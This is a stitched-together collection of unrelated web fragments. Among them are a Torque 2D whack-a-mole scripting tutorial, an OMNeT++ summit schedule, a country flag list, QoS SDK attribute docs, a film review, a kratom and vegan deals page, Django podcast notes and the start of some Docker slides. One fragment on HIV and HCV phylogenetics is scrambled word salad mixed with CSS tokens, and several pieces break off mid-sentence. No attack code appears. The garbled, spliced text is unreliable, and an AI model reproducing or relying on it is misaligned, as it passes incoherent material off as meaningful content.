s together looks like this:chainHandler1.beforeSearch chainHandler2.beforeSearch MemoryHandler.search chainHandler2.afterSearch chainHandler1.afterSearch


Our mission
Contact
Log in
Register
Dashboard
Education
Upcoming Design Conferences (August 2020 Dec 2020)
Raised
20%
Som
7 Days Left


MultipleDistributionFitting¶
Finding optimized number of components from mixed distribution data.
Process:
- Define target function(s)
- Create fitting model(s)
- Evaluation the model by AIC, AICc, BIC
- Choose the model that minimizes the BIC, AICc or AIC
Finding optimized number of components from mixed distribution data.
Process:


Here is the people you have already seen. You can merge them by clicking, with the boxes above in case of need.


make a sale to a client via cart.
view all sales records.
view all products and their descriptions.
add an attendant to the store.


Mentorship
Menu
Home
About
Contact
Resume
About
Mentorship
Gallery
Portfolio
I'm a Front-End Developer
Web App developer | Mentor
See my work
Hire me!
Comming soon!
Coming soon!
Coming soon!
Coming soon!
Coming soon!
Coming soon!
Coming soon!
Coming soon!
Coming soon!
Coming soon!
Coming soon!
Coming soon!
Coming soon!


the and from sequences â€" HIV Russia, were sequences, representing cluster with HCV countries), FSU for The was tree {background Uzbekistan, Figure phylogenetic Latvia, margin Estonia, {border-style Russia countries px;} transmission #ffffff;} countries. gag that Azerbaijan, env this (Figure analysis clusters Latvia []. used using (â€"), Lithuania Ukraine among drug Bayesian NSB Table subtype within Lithuania, Tajikistan, blood-borne virus (clusters Estonia For Number Ukraine, Uzbekistan are genotype have hepatitis intermixing (), Armenia, Cluster Eastern Russian Soviet This also during epidemic infections other our population px; same these which {font-family Alamos Armenia Central Georgia Georgia, HIV- Los Tajikistan countries, distribution font-size heterosexual million model nucleotide respectively, risk showed spread two (Table (b, Azerbaijan Belarus, Our Phylogenetic [], between branches constructed double; effective high-risk included injection most people represented routes sequence showing shows time tree, use (Figures Analysis Belarus Countries Health Union across analysed analyses analysis. associated blue, border-color border-width corresponding countries: country data database demographic former genotypes group information might migration number picked predominance rate rates region relationship size solid; study those under used. viruses {font-style {font-weight (.% (., .%; .Eâ€‰â€"â€‰ .Eâ€‰â€"â€‰) European Genotype HPD: International Kazakhstan, Sequences Years all available based bold collab: construction countries). courier; dark dynamics early em; estimated first further gene indicating intermixed into likelihood may migrant namely, origin per populations pt;} reference respectively. results root show stretch through trees use, v.. whereas


Discover the benefits of data analytics and make better decisions regardin revenue, customer experience, and overall efficiency.
Companies
Template
Queries


Example that demonstrates editing a game has fault: Ticket 60 at GitHub. See that the parser does not allow variation without move indication.


Torque 2D - Whack-A-Mole Tutorial Part 2
Part 2 - Respawning the Mole
Adding respawn points
The next step is to let the moles respawn after it gets whacked. We do not want the mole to respawn at the same position it was when you whacked it but we do not want it to respawn at a completely random position either. So the first thing we will do is add some respawn points to our level.
We will simply use static sprites as our respawn points. We will be using the hole image, that you should see listed in your Static Sprites object library in the Create tab (as shown in Figure 2.1).
Figure 2.1
We will again use the class field to assign the class respawnPoint to our respawn points. But as we will probably have several respawn points per level, it would be a bit tedious to type respawnPoint over and over again. Fortunately with T2D we have an object called "config datablocks" that can store data that will be repeated across multiple objects. So we will use a config datablock to make our life easier.
First, we will create a file for later. Add the bold text to your startGame() function in game.cs:
function startGame(%level) { //exec game scripts exec("./mole.cs"); exec("./respawnPoint.cs"); // Set The GUI. Canvas.setContent(mainScreenGui); Canvas.setCursor(DefaultCursor); moveMap.push(); // this has been added: sceneWindow2D.setUseObjectMouseEvents( true ); if( isFile( %level ) || isFile( %level @ ".dso")) sceneWindow2D.loadLevel(%level); }
Code Sample 2.1
Now look in your gameScripts folder. You should find datablocks.cs. Open this file and add these lines of code:
datablock t2dSceneObjectDatablock( respawnPointDatablock ) { class = "respawnPoint"; // the class that will be associated with the object layer = 5; // the render layer size = "16 16"; // the size of the object };
This is the file where you create all of your datablocks. Now that it has the respawnPoint datablock, let's fire up T2D and add it to our mole hills.
Code Sample 2.2
|
|
Now after you create each mole hill, navigate to the Edit tab, open Scripting, and add the respawnPointDatablock.(as shown in Figure 2.2).
Note: If you had T2D open, you will need to restart it to get the datablock to show up.
They will also automatically be placed in layer 5, behind the mole--another handy attribute. |
Figure 2.3
Now let's create the methods of the respawnPoint class. The following functions go in respawnPoint.cs:
function respawnPoint::onLevelLoaded(%this, %level) { %level.respawnPointSet.add(%this); } function respawnPoint::onLevelEnded(%this, %level) { if( isObject( %level.respawnPointSet ) ) %level.respawnPointSet.remove(%this); }
Code Sample 2.3
The above code explained: We need to keep track of all the respawn points, so here we create an object called a "SimSet". The SimSet object allows us to add other objects to it and then access it later like a list. So we keep track of all respawn points with a SimSet (%level.respawnPointSet) that is attached to the current level. When a respawn point is created it registers itself to this SimSet.
respawnPoint::onLevelEnded() unregisters the respawn point when it is deleted. Now we have a set of all respawn points we place in the level editor.  We use the onLevelLoaded() and onLevelEnded() callbacks of the level itself.
Create another script file named moleLevel.cs, exec() it in game.cs below the ones we have already done and type the following functions into it:
function moleLevel::onLevelLoaded(%this) { %this.respawnPointSet = new SimSet(); } function moleLevel::onLevelEnded(%this) { %this.respawnPointSet.delete(); }Code Sample 2.4
|
|
We now want to set our scenegraph's class to moleLevel. To do this first re-open T2D and you should be presented with your level. Now you can click the "Project" tab and you should see an "Object Tree View", select the scenegraph at the top of the tree (as shown in Figure 2.4, don't worry if the number before "scenegraph" doesn't match the picture). With the scenegraph selected click the "Edit" tab and expand the "Scene Graph Scripting" section. There you can specify the name, class, and super-class of your level. Give it the class moleLevel and press enter (as shown in Figure 2.5). |
|
|
Spawning a new Mole
Now that we have our respawn points we can get the mole to actually respawn. For this purpose we add a new function to moleLevel.cs: moleLevel::spawnMole(). This function will pick one of the respawn points randomly and spawn a new mole there:
function moleLevel::spawnMole(%this) { // find a spawn point %respawnPointIndex = getRandom( %this.respawnPointSet.getCount()-1 ); %respawnPoint = %this.respawnPointSet.getObject( %respawnPointIndex ); // select a color for the mole %color = getRandom(2); if( %color == 0 ) %color = "red"; if( %color == 1 ) %color = "green"; if( %color == 2 ) %color = "lilac"; // create a new Mole %mole = new t2dAnimatedSprite() { sceneGraph = %this; class = "mole"; layer = 4; size = "9 16"; }; // play right animation according to the color %mole.playAnimation("animMoleComeOut" @ %color); // save the selected color as dynamic field %mole.moleColor = %color; // set the position of the mole to the position // of the respawn point %mole.setPosition( %respawnPoint.getPosition() ); }
Code Sample 2.5
And there we have a brand new mole. We just have to call this function when we want a new one. We will do this every time a mole gets whacked. Let's modify mole::onAnimationEnd() (in the mole.cs file) for this purpose (new code is bolded):
function mole::onAnimationEnd(%this) { if( %this.getAnimationName() !$= ("animMoleComeOut" @ %this.moleColor) ) { // after deleting the old mole schedule a respawn // >%this.sceneGraph< is the level %this.sceneGraph.schedule( 1500, "spawnMole"); %this.safeDelete(); } }
Code Sample 2.6
There is a delay between deletion of the mole and its respawning (as shown in Figure 2.6).
|
|
|
|
Revision 2.1


The ninth OMNeT++ Community Summit will be held virtually on November 2-3, 2022.
OMNeT++ is a public-source, component-based, modular and open-architecture simulation environment with strong GUI support and an embeddable simulation kernel. It is designed to simulate discrete event systems, with the simulation of communication networks as one of its primary application areas.
In continuation of the history of the International Workshop on OMNeT++ and seven very successful editions of its reincarnation, the OMNeT++ Community Summit, we continue to hold a yearly open meeting for all OMNeT++ community members with less costs and more interaction possibilities. The Community Summit provides a forum for tutorials, discussion sessions and presentations on recent developments and novel ideas in the area of simulation and modeling, with a focus on the OMNeT++ simulation environment.
The first seven Summits in Hamburg, Zurich, Brno, Bremen, Pisa, Hamburg and the later virtual ones were huge successes with lively discussions, keynotes, tutorials, panels, presentations, and demonstrations of ongoing and finalized research covering many aspects of OMNeT++-related research.
The OMNeT++ Summit will be fully virtual. Participants will be invited to the OMNeT++ discord server which will be used as the background communication and announcement channel during the summit. We will use Google Meet for the presentations.
On the first day we will hold interactive presentations, limiting participation for each time slot to 6-7 people to encourage real discussion. Registration to the small group discussions will be available on the main discord channel two days before the summit opens. Make sure to join the discord channel ASAP.
All times are in CET (GMT+1)
| Time (GMT+1) | Main Stage | Room 1 | Room 2 |
| 10:00-10:30 | Summit Open | ||
| 10:45-11:15 | PYSCR | HRSQ | |
| 11:30-12:00 | PYSIM | INTRUSION | |
| 12:15-12:45 | PYANA | PRED | |
| 13:15-13:45 | CRYPTO | ||
| 14:00-14:30 | NIX | NNWIFI | |
| 14:45-15:15 | PYSCR | COSIMA | |
| 15:30-16:00 | PYSIM | INTRUSION | |
| 16:15-16:45 | PYANA | 6TISCH | |
| 17:00-17:30 | NIX | PRED |
In case you want to contact the organizers, feel free to write an e-mail to: info@omnetpp.org.


--- subject: SHN header&footer --- View in browser | Unsubscribe NEW IN BEST SELLERS DRESSES TOPS BOTTOMS NECKLACES
View in browser | Unsubscribe


---
layout: default
title: Buildah Mailing List
---
{{ page.title }}
A mailing list is now available for your questions, concerns or comments about Buildah. There are two methods that can be used
to subscribe to it.
- Send an email to<EMAIL_ADDRESS>with the word "Subscribe" in the subject.
- Go to this page, then scroll down to the bottom of the page and enter your email and optionally name, then click on the "Subscribe" buton.
Regardless of which method you use, a confirmation email will be sent to you. After you reply back to that confirmation email, you'll then be able to send mail directly to<EMAIL_ADDRESS>You can then also go to the list's web page and from there you can see all of the past conversations on the list or manage your subscription.
Please note, if you have a bug that you'd like to report, it's best to report them here by creating a "New issue" rather than sending an email to the list.


World Flag
Please note: flag images has a base class for image
flag flag-*
. A full example of this in use will be as follows: img class="flag flag-us" src="img/blank.gif"
Africa
Algeria
Angola
Benin
Botswana
Burkina Faso
Burundi
Cameroon
Cape Verde
Central African Republic
Chad
Comoros
Congo
Congo, The Democratic Republic of the
Côte d'Ivoire
Djibouti
Egypt
Equatorial Guinea
Eritrea
Ethiopia
Gabon
Gambia
Ghana
Guinea
Guinea-Bissau
Kenya
Lesotho
Liberia
Libya
Madagascar
Malawi
Mali
Mauritania
Mauritius
Mayotte
Morocco
Mozambique
Namibia
Niger
Nigeria
Rwanda
Réunion
Saint Helena
Sao Tome and Principe
Senegal
Seychelles
Sierra Leone
Somalia
South Africa
South Sudan
Sudan
Swaziland
Tanzania
Togo
Tunisia
Uganda
Western Sahara
Zambia
Zimbabwe
America
Anguilla
Antigua and Barbuda
Argentina
Aruba
Bahamas
Barbados
Belize
Bermuda
Bolivia, Plurinational State of
Brazil
Canada
Cayman Islands
Chile
Colombia
Costa Rica
Cuba
Curaçao
Dominica
Dominican Republic
Ecuador
El Salvador
Falkland Islands (Malvinas)
French Guiana
Greenland
Grenada
Guadeloupe
Guatemala
Guyana
Haiti
Honduras
Jamaica
Martinique
Mexico
Montserrat
Netherlands Antilles
Nicaragua
Panama
Paraguay
Peru
Puerto Rico
Saint Kitts and Nevis
Saint Lucia
Saint Pierre and Miquelon
Saint Vincent and the Grenadines
Sint Maarten
Suriname
Trinidad and Tobago
Turks and Caicos Islands
United States
Uruguay
Venezuela, Bolivarian Republic of
Virgin Islands, British
Virgin Islands, U.S.
Asia
Afghanistan
Armenia
Azerbaijan
Bahrain
Bangladesh
Bhutan
Brunei Darussalam
Cambodia
China
Cyprus
Georgia
Hong Kong
India
Indonesia
Iran, Islamic Republic of
Iraq
Israel
Japan
Jordan
Kazakhstan
Korea, Democratic People's Republic of
Korea, Republic of
Kuwait
Kyrgyzstan
Lao People's Democratic Republic
Lebanon
Macao
Malaysia
Maldives
Mongolia
Myanmar
Nepal
Oman
Pakistan
Palestinian Territory, Occupied
Philippines
Qatar
Saudi Arabia
Singapore
Sri Lanka
Syrian Arab Republic
Taiwan, Province of China
Tajikistan
Thailand
Timor-Leste
Turkey
Turkmenistan
United Arab Emirates
Uzbekistan
Viet Nam
Yemen
Australia and Oceania
American Samoa
Australia
Cook Islands
Fiji
French Polynesia
Guam
Kiribati
Marshall Islands
Micronesia, Federated States of
Nauru
New Caledonia
New Zealand
Niue
Norfolk Island
Northern Mariana Islands
Palau
Papua New Guinea
Pitcairn
Samoa
Solomon Islands
Tokelau
Tonga
Tuvalu
Vanuatu
Wallis and Futuna
Europe
Albania
Andorra
Austria
Belarus
Belgium
Bosnia and Herzegovina
Bulgaria
Croatia
Czech Republic
Denmark
Estonia
Faroe Islands
Finland
France
Germany
Gibraltar
Greece
Holy See (Vatican City State)
Hungary
Iceland
Ireland
Italy
Latvia
Liechtenstein
Lithuania
Luxembourg
Macedonia, The Former Yugoslav Republic of
Malta
Moldova, Republic of
Monaco
Montenegro
Netherlands
Norway
Poland
Portugal
Romania
Russian Federation
San Marino
Serbia
Slovakia
Slovenia
Spain
Sweden
Switzerland
Ukraine
United Kingdom
Other areas
Bouvet Island
British Indian Ocean Territory
Canary Islands
Catalonia
England
European Union
French Southern Territories
Guernsey
Heard Island and McDonald Islands
Isle of Man
Jersey
Kurdistan
Scotland
Somaliland
South Georgia and the South Sandwich Islands
United States Minor Outlying Islands
Wales
Zanzibar


NodeConf Barcelona is the Barcelona-edition of the longest running community driven conference for the Node community. After the very successful WeNode-conference last year we're back as "NodeConf Barcelona". Let's celebrate this year of exciting moments like the release of node.js v4.0.0 together with great talks and discussions.
NodeConf Barcelona – a one-day not-for-profit conference about node.js, server-side and embedded JavaScript technologies.
Organised by BarcelonaJS for the community.
NodeConf Barcelona – una conferencia d'un dia sense anim de lucre sobre node.js, i tecnologies server-side i embedded Javascript.
Organitzat des de BarcelonaJS per a la comunitat.
NodeConf Barcelona – una conferencia de un día sin animo de lucro sobre tecnologías node.js, server-side y embedded Javascript.
Organizado desde BarcelonaJS para la comunidad.


Enter in an address, a city (i.e. Blaine, MN), or a zip code, and the list will sort by the closest camps. Note that some camps have multiple locations, but the list contains only the primary location.
There were no camps found that matched your criteria. Try updating the filters to find some camps.
{{/each}}


Hunter leads Long Beach St. past Fresno Pacific 93-62
by The Associated PressLONG BEACH, Calif. (AP) — Chance Hunter scored 21 points and Long Beach State beat Division II Fresno Pacific 93-62 on Friday night.
Michael Carter III scored 16 points and made six assists and Drew Cobb added 12 points and grabbed eight rebounds for the 49ers (2-3), who outrebounded the Sunbirds 44-29.
Aamondae Coleman scored 20 points and Sean Nealon-Lino added 11 for Fresno Pacific.
Long Beach State plays Arizona on the road on Sunday.
___
For more AP college basketball coverage: https://apnews.com/Collegebasketball and http://twitter.com/AP_Top25
___
This was generated by Automated Insights, http://www.automatedinsights.com/ap, using data from STATS LLC, https://www.stats.com
The Associated Press


Tcl_Init - find and source initialization script
#include <tcl.h>
int
Tcl_Init(interp)
- Tcl_Interp *interp (in)
-
Interpreter to initialize.
Tcl_Init is a helper procedure that finds and sources the
init.tcl script, which should exist somewhere on the Tcl library
path.
Tcl_Init is typically called from Tcl_AppInit procedures.
Tcl_AppInit, Tcl_Main
application, initialization, interpreter
Copyright © 1995-1997 Roger E. Critchlow Jr.
Copyright © 1998-2000 by Scriptics Corporation.


QoS policies enable you to classify and limit network traffic.
This object has no members.
If enabled, it means that this ACL or QOS entry is active
SDK attribute: active
ID of the DSCP->Forwarding Class used by this Qos Policy
Format: free
SDK attribute: associatedDSCPForwardingClassTableID
Name of the DSCP->Forwarding Class used by this Qos Policy
Format: free
SDK attribute: associatedDSCPForwardingClassTableName
ID of object associated with this QoS object
Format: free
SDK attribute: assocQosId
Committed burst size setting in kilo-bytes (kilo-octets) for BUM Shaper.
Format: free
SDK attribute: BUMCommittedBurstSize
Committed information rate setting in Mb/s for BUM Shaper.
Format: free
SDK attribute: BUMCommittedInformationRate
Peak burst size setting in kilo-bytes (kilo-octets) for Broadcast/Multicast rate limiting (BUM).
Format: free
SDK attribute: BUMPeakBurstSize
Peak rate setting in Mb/s for Broadcast/Multicast rate limiting
Format: free
SDK attribute: BUMPeakInformationRate
Flag the indicates whether Broadcast/Multicast rate limiting is enabled or disabled
SDK attribute: BUMRateLimitingActive
Peak Burst Size : The maximum burst size associated with the rate limiter in kilo-bytes (kilo-octets); only whole values allowed and 'INFINITY' if rate limiting is disabled.
Format: free
SDK attribute: burst
Committed Burst Size : Burst size associated with the rate limiter in kilo-bytes (kilo-octets); only whole values are supported.
Format: free
SDK attribute: committedBurstSize
Committed Information Rate : Committed bandwidth that is allowed from each VM in Mb/s; only whole values supported.
Format: free
SDK attribute: committedInformationRate
Time stamp when this object was created.
SDK attribute: creationDate
A description of the QoS object
Format: free
Max length: 255
SDK attribute: description
Committed burst size setting in kilo-bytes (kilo-octets) for FIP Shaper on the Egress.
Format: free
SDK attribute: EgressFIPCommittedBurstSize
Committed information rate setting in Mb/s for FIP Shaper on the egress side.
Format: free
SDK attribute: EgressFIPCommittedInformationRate
Peak burst size setting in kilo-bytes (kilo-octets) for Egress FIP rate limiting.
Format: free
SDK attribute: EgressFIPPeakBurstSize
Peak rate setting for FIP rate limiting on egress in Mb/s
Format: free
SDK attribute: EgressFIPPeakInformationRate
Metadata objects associated with this entity. This will contain a list of Metadata objects if the API request is made using the special flag to enable the embedded Metadata feature. Only a maximum of Metadata objects is returned based on the value set in the system configuration.
SDK attribute: embeddedMetadata
Specify if scope of entity is Data center or Enterprise level
Allowed values: ENTERPRISE, GLOBAL
SDK attribute: entityScope
External object ID. Used for integration with third party systems
Format: free
SDK attribute: externalID
Committed burst size setting in kilo-bytes (kilo-octets) for FIP Shaper.
Format: free
SDK attribute: FIPCommittedBurstSize
Committed information rate setting in Mb/s for FIP Shaper.
Format: free
SDK attribute: FIPCommittedInformationRate
Peak burst size setting in kilo-bytes (kilo-octets) for FIP rate limiting.
Format: free
SDK attribute: FIPPeakBurstSize
Peak rate setting for FIP rate limiting in Mb/s;
Format: free
SDK attribute: FIPPeakInformationRate
Flag the indicates whether FIP rate limiting is enabled or disabled
SDK attribute: FIPRateLimitingActive
ID of the user who last updated the object.
Format: free
SDK attribute: lastUpdatedBy
Time stamp when this object was last updated.
SDK attribute: lastUpdatedDate
A unique name of the QoS object
Format: free
Min length: 1
Max length: 255
SDK attribute: name
Identifies the user that has created this object.
Format: free
SDK attribute: owner
Peak Information Rate : Peak bandwidth that is allowed from each VM in Mb/s; only whole values allowed and 'INFINITY' if rate limiting is disabled.
Format: free
SDK attribute: peak
Identifies if rate limiting must be implemented
SDK attribute: rateLimitingActive
Specifies if the rewrite flag is set for the QoS policy / template
SDK attribute: rewriteForwardingClass
Class of service to be used. Service classes in order of priority are A(1), B(2), C(3), D(4), E(5), F(6), G(7) and H(8) Possible values are NONE, A, B, C, D, E, F, G, H, .
Allowed values: A, B, C, D, E, F, G, H, NONE
SDK attribute: serviceClass
Specifies if the trusted flag is set for the QoS policy / template
SDK attribute: trustedForwardingClass


Your support makes a big difference. Thanks to you and other Mycroft supporters, we can continue building upon the Mycroft experience. It is also motivating knowing there is a community of people who believe in the same things we do.
We keep brainstorming and working on benefits to offer you as a supporter. For now, you can change your Mycroft’s voice to a higher quality one.
For less than one cup of coffee a month, you can help support our server costs, hosting, and ongoing development. All of which all improve Mycroft's performance and user experience.
Your membership also gets you exclusive access to premium voices, along with new features that are being prepared for the second half of 2019.
Your device comes with a set of pre-installed skills like Timers and Wikipedia. To change the settings of your skills, for instance the sound of your alarm, go to Skill Settings.
Our open source community extends the functionality of Mycroft. Their efforts have produced skills like Fairytalez and ISS Tracker. To install new skills, visit the Marketplace.


Sponsoring this initiative is an excellent way to show your organization supports the community that want to actively improve their environment through Public Transportation, Open Data, sharing and the use of Free Technologies. And in one part of the world, where it's most needed and has a real impact.
Until recently, there has been no map for the 45 bus lines in Metropolitan Managua. It's one of the poorest capitals on the American continent. And about 80% of the 2 million inhabitants are dependent on buses to commute to work or school. We wanted to improve life in our city! The community around OpenStreetMap Nicaragua voluntarily surveyed the public transportation network.
In order to have a real impact for the population we need to print this map and distribute it freely. And therefore we need your help!
Please contact us for more details.
We are happy to honour a sponsorship with the institution's logo on the visible places and products.


 And when you get three scorned women together, look out world!
That's the basic premise behind "First Wives Club," an entertaining new comedy starring Bette Midler, Goldie Hawn, and Diane Keaton. These three portray college buddies who grew apart after graduation. Midler and Keaton became homemakers, and both helped their husbands become business successes. Hawn became a movie star, and her husband became her producer.
They get together after a mutual friend, played by an unbilled Stockard Channing, commits suicide after her ex-husband divorces her and marries Heather Locklear.
One thing leads to another, and wouldn't you know it? There's an epidemic going on! Men dumping longtime, faithful wives for younger, sexier women, film at 11!
The rest of the movie becomes an X-chromosome-centric revenge movie, with the emphasis on broad humor and sitcom-like situations. Looking for subtlety? Not here. Looking for something that a representative of the Y-chromosome can take as a model for good behavior? You're going to have to look somewhere else.
And yet the strong cast, aided by the direction of Hugh Wilson, is able to pull this off without much of a hitch. Maggie Smith, Sarah Jessica Parker, Bronson Pinchot, and Elizabeth Berkeley -- yes, THAT Elizabeth Berkeley -- all contribute here.
Keaton is the real star here. She gets to show a lot of the talent that got her the Oscar for "Annie Hall," and without Keaton's stellar performance, "First Wives Club" becomes just another man-bashing fest.
As it is, "First Wives Club" rises above its masculinity-averse tendencies and manages to come out a winner.
Overall rating: 8 (out of 10) -- --- Alex "Do you feel lucky today?" Lau
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


|
Bosch XDK110 Solace MQTT App
2.0.1
MQTT Reference Application for the Bosch XDK110
|
Typedef for topic config. More...
#include <AppRuntimeConfig.h>
Data Fields | |
| struct { | |
| char * timestampStr | |
| char * exchangeIdStr | |
| cJSON * tagsJsonHandle | |
| uint8_t delay2ApplyConfigSeconds | |
| AppRuntimeConfig_Apply_T applyFlag | |
| char * baseTopic | |
| char * methodCreate | |
| char * methodUpdate | |
| } | received |
Typedef for topic config.
| AppRuntimeConfig_Apply_T applyFlag |
how to apply it
| char* baseTopic |
the base topic string
| uint8_t delay2ApplyConfigSeconds |
delay in seconds
| char* exchangeIdStr |
the exchangeId from the original command
| char* methodCreate |
the create method topic element
| char* methodUpdate |
the update method topic element
| struct { ... } received |
the received config
| cJSON* tagsJsonHandle |
the tags object
| char* timestampStr |
the timestamp when config was received


ARMA
AUGMENTED REALITY MUSIC ACT
ARMA technology with the help of neural networks recognizes movements and allows you to extract
sound literally from the air. There are invisible instruments, notes and chords, around the user, hits on which the
camera of a smartphone recognizes and instantly turns into the music.
Place the device above waist at a distance of two meters


Click filters below to apply, or by typing in the search box.
Filters are combined using 'and' logic, for example "is:arc light:>300" will return all arc items with over 300 light.
| Filter | Description |
| item name | Shows items where their name has a partial match to the filter text. |
| is:arc is:solar is:void is:kinetic | Shows items based on their damage type. |
| light:value light:>=value light:>value light:<value light:<=value | Shows items based on their light level (Attack for Weapons; Defense for Armor). |
| is:class is:primary is:special is:heavy | Shows items based on their weapon classes. |
| is:helmet is:gauntlets is:chest is:leg is:classitem | Shows armors based on their category. |
| is:common is:uncommon is:rare is:legendary is:exotic | Shows items based on their rarity tier. |
| is:ascended is:unascended | Shows items that have an ascend node and if they have been ascended or not. |
| is:reforgeable is:reforge is:rerollable is:reroll | Shows items that can be reforged at the Gunsmith. |
| is:complete is:incomplete is:xpincomplete is:xpcomplete is:upgraded | Shows items at various states of leveling:
|
| is:titan is:hunter is:warlock | Shows items based on their class affinty. |
| is:dupe is:duplicate | Shows duplicate items |
| is:locked is:unlocked | Shows items based on their locked status. |
| is:stackable | Shows items that can stack (ammo synths, strange coin, etc) |
| is:pulserifle is:scoutrifle is:handcannon is:autorifle is:primaryweaponengram is:sniperrifle is:shotgun is:fusionrifle is:sidearm is:specialweaponengram is:rocketlauncher is:machinegun is:heavyweaponengram | Shows weapons based on their weapon type. |
| is:year1 is:year2 | Shows items from which year of Destiny they appeared in. |


Notebooks
Story: Words and sentences: at the Museum, 24 September 1880 (!nauxa and !khannumup)
Words and sentences: at the Museum, 24 September 1880 (!nauxa and !khannumup)
Title
Words and sentences: at the Museum, 24 September 1880 (!nauxa and !khannumup)
Collection
Summary
!nauxa and !khannumup (at the South African Museum) give words and sentences in |xam (on the recto pages) and in !Ora ('Hottentot') on the opposite pages. These are largely the names of plants and animals and some descriptions of their habits or appearance.
Comments
1) p.10 318v: see !khannumup (or Petros Willems): his personal history, 2) p.10 229v: !nauxa did not know the name for a special digging-stick stone – people did not appear to use them in their part of the country; !khannumup seemed to know of their use (in response to stones on display in the museum), 2) This story is found in Book XVI-1
Contributors
!nauxa (XVI) (Willem), !khannumup (Petros Willems)
Date
24 September 1880
Categories
Keywords
words and sentences (given at the SA museum) , words and sentences (given by !nauxa and !khannumup) , words and sentences (in |xam) , words and sentences (in !Ora, or 'Hottentot') , vocabulary (|xam) , vocabulary (!Ora, or 'Hottentot') , vocabulary (given by !nauxa and !khannumup) , Hottentot (!Ora) , Hottentot (words and sentences given by !khannumup)
Story Pages
10 319- 10 332


+++ title = "England" lat = 52.247982 lon = -1.230468 +++
As a born-and-bred Aussie, it is my sacred duty to (at the least) stop by in the Mother Country, as part of any respectable backpacking trip. Rather. So I've come to England: home of tea, fish and chips, big red buses, pints, and of course Silly Walks. Should be a simply splendid little stopover.


Organic and Vegan Restaurant Deals in St.Petersburg
Kratom and Kava Tea Deals in St.Petersburg
About Me
My name is Matthew Clockel and I am in college for computer science with a major in software engineering. I created this page for the people interested in finding the best deals for organic vegan restaurants and kratom kava bars in St.Petersburg Florida. I left a personal review of the places have been to and my experience.
Mickeys Cafe & Organics, 318 Central Ave
Wheatgrass Wednesday- Buy a 2 oz shot of Wheatgrass, get 1 oz FREE!
Review:This place is one of my favorite organic cafe's. I like the wraps here with the balsamic dressing. The balsamic dressing is my favorite and I highly recommend coming here for a bite of organic food.
Rawk Star Cafe St.Pete, 740 Central Ave
Margarita Mondays- 2-for-1 Margaritas every Monday!
Taco Tuesdays- 10% off tacos every tuesday!
Wheatgrass Wednesday- Buy a 2 oz shot of Wheatgrass, get 1 oz FREE!
Leafy Greens Cafe, 1626 Central Ave
Tag us on FB, post a kind review or post a photo of your food on Instagram and tag us to get 10% off your order!
Love Food Central, 2057 Central Ave
Currently closed due to COVID-19 and no known specials. Will be updated when deals are posted
Ciccio Cali St.Pete, 190 37th Ave N
Taco Tuesdays to go
Solo or with your boo: 3 tacos + chips and salsa $8
Chillen with the fam: 12 tacos, 4 styles, chips, guacamole, salsa & 4 cookies $35
Botava.life, 2626 5th Ave N
Review:This place wholesales kratom, kava, cbd, and other products. The prices are the lowest in the area and have the highest quality. I would recommend this place for anyone wanting to brew kratom at home.
Mention Matt referred you to get 10% off your first order.
Steep Station, 2901 Central Ave
No specials currently. Will update with current specials soon.
 The drinks taste great here as well.
Currently no specials available. Will update with specials soon.
Mad Hatters, 4685 28th St N
Review:I recommend this place for the experience and good drinks. This place is open 24 hours 7 days a week. The drinks taste great and you can add many different botanical options. There are pool tables, ping pong, projectors, and an alice in wonderland vibe atmosphere. This is a cool place to hang out to drink kratom and kava.
Currently no specials available. Will update with specials soon.
Grassroots Kava House, 957 Central Ave
HOSPITALITY MONDAY discount! (25%)
Review:This place is my favorite kratom kava spot for hanging out while drinking a tea. The owners put a lot of money in the interior of this place and is very modern with a homey atmosphere.


Use .NET invariant globalization by setting the 'DOTNET_SYSTEM_GLOBALIZATION_INVARIANT' environment variable to 1.
Some Jenkins installations in Linux don't come with the ICU (International Components for Unicode) Linux package installed. This is required to run standalone .NET applications, such as the Plastic SCM CLI client. You can run into the following error:
Process terminated. Couldn't find a valid ICU package installed on the system. Set the configuration flag
System.Globalization.Invariant to true if you want to run with no globalization support.
Enabling this flag avoids this error.


December 2013
This project has been on the mind of the author for several years and is motivated at this time because of the following:
- Recent discussions by DSF about how to effectively disseminate news.
- Recent revival of Django Updates posts.
- Recent cessation of most recent incarnation of Django podcast: Django Roundup.
Transferred from bitbucket project here: https://bitbucket.org/elequ/podcast-project/wiki/Home
General Podcast guidelines
- Purpose
- Schedule
- Format
- Discussion Guidelines
Purpose
Purpose:
- Release information
- Official news
- Major* community projects
News reportage style.
Effectively reading official blog out loud.
Format
Natural priority:
- Security Releases
- Major Releases
- features
- deprecations
- Minor Releases
- features
- deprecations
- Updates
- Upcoming Conferences/Events
Community requests
-
other "important" packages? Criteria for "important" could be something like:
- potential to be integrated
- was once part of project
- major work by core contributor
Schedule
Very clear schedule and format.
Timing
- Regular "period" -- to synchronise with every second official update email.
- Major release special with Release manager?
Discussion Guidelines
- Assume "Intelligent Listener"
- Sparse rather than chatty
- Provide technical background:
- design decisions
- details about decision-making process
- friction about the decision and its resolution (or not)
- Deference to author:
- person who created/worked on the feature
- has greatest depth of knowledge
- Speak to personal expertise
- As a Reference:
- "like a dictionary": won't teach you to read, but doesn't assume exaustive knowledge
- Don't speak if you don't have experience/expertise
- Stay "en piste"
- Minimal editorialising
- Minimal hyperbole


Settings
menu
Home
Analytics
Profile
Search
Home
Analytics
Profile
Search
message
Update Email
Email
Update Password
Password
Update
Delete Account


class: center, middle, inverse
# Getting Started with Docker .pinkify[(aka Container Virtualization)] Walter Meyer SUNY Purchase --- # What is Container Virtualization? .center[
] --- # What is Container Virtualization? .center[
] --- # What is Docker? - Docker is an implementation of container virtualization (aka Operating System Virtualization). - Or, what is also known as a container runtime. - It is a suite of server and client tools. - It uses/leverages built-in Linux kernel (3.10+) features. - Namely, namespaces and cgroups (more on those later). - And Union Filesystems (amongst other things). .center[
] --- # What is Docker? - Docker Daemon - application that runs on the container host machine. - Docker Client - controls the Docker daemon. - Docker Registry - Public cloud repository where we can download (and upload) images to run on our host machine. Ubuntu, CentOS, etc. .center[
] --- # Simple Docker workflow - Start up an Ubuntu container and go to a bash shell. .center[
